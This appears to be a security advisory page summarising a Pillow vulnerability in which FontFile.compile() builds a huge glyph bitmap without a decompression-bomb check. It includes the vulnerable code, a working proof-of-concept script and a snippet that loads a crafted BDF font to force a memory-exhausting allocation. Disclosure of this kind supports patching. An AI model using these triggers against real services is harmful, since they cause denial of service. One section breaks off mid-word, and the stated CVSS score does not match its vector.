🛡️ CVE-2026-54060 — pillow
Description
Pillow: FontFile.compile(): Image.new() called without _decompression_bomb_check()
Description
PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.
Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.
Vulnerable code (PIL/FontFile.py lines ~64–92):
```python
def compile(self) -> None:
if self.bitmap:
return
h = w = maxwidth = 0
lines = 1
for glyph in self.glyph: # up to 256 glyph slots
if glyph:
d, dst, src, im = glyph
h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled
w = w + (src[2] - src[0])
if w > WIDTH: # WIDTH = 800
lines += 1
w = src[2] - src[0]
maxwidth = max(maxwidth, w)
xsize = maxwidth # ≤ 800 (capped by WIDTH constant)
ysize = lines * h # ← lines(256) × h(65535) = 16,776,960
if xsize == 0 and ysize == 0:
return
self.ysize = h
# NO _decompression_bomb_check() here ←
self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation
```
"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:
| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
|---|---|---|
| Pixel count | 700,000 | 179,200,000 |
| DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning |
| DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error |
With PCF-maximum glyph height (65,535):
| Metric | Value |
|---|---|
| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |
| h (max glyph height) | 65,535 |
| xsize | 800 |
| ysize = lines × h | 256 × 65,535 = 16,776,960 |
| Total pixels | 800 × 16,776,960 = 13,421,568,000 |
| Ratio vs. DecompressionBombError threshold | 75× |
| Memory (mode "1", 1 bit/pixel) | ~1.6 GB |
Steps to reproduce
Proof of Concept script:
```python
#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image
MAX_GLYPHS = 256
GLYPH_W = 800
GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold
class MockFont(FontFile.FontFile):
def __init__(self):
super().__init__()
# Each glyph is individually safe (700K px < 89.4M warning)
im = Image.new("1", (GLYPH_W, GLYPH_H))
for i in range(MAX_GLYPHS):
self.glyph[i] = (
(GLYPH_W, GLYPH_H),
(0, -GLYPH_H, GLYPH_W, 0),
(0, 0, GLYPH_W, GLYPH_H),
im,
)
# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
Image._decompression_bomb_check(combined_size)
print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
print(f"[OK] bomb check WOULD block {combined_size}: {e}")
# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile() # → Image.new("1", (800, 224000)) — no error raised
px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f" No DecompressionBombError raised at any point.")
```
Expected output:
```
[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
pixels=179,200,000 (1.001× DecompressionBombError threshold)
No DecompressionBombError raised at any point.
```
Verified live on Pillow 12.2.0 — compile() succeeds with no exception.
Real-world trigger using BDF font file:
```python
from PIL import BdfFontFile
import io
# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check
```
**Attack scenari
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Affected software
CVE-2026-54060 is recorded against 1 package.
- pillow
Timeline and source
Published on 8 July 2026 and last revised on 22 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
github.com (Web)
github.com (Web)
github.com (Web)
nvd.nist.gov (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| pillow | — | — |
References
Similar Threats
- Unknown CLSA-2026-1772410256
- Unknown CLSA-2026-1772410259
- Unknown CLSA-2026-1772410260
- Unknown CLSA-2026-1772410261
- Unknown CLSA-2026-1772410263
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running pillow?
CVE-2026-54060 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-54060 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.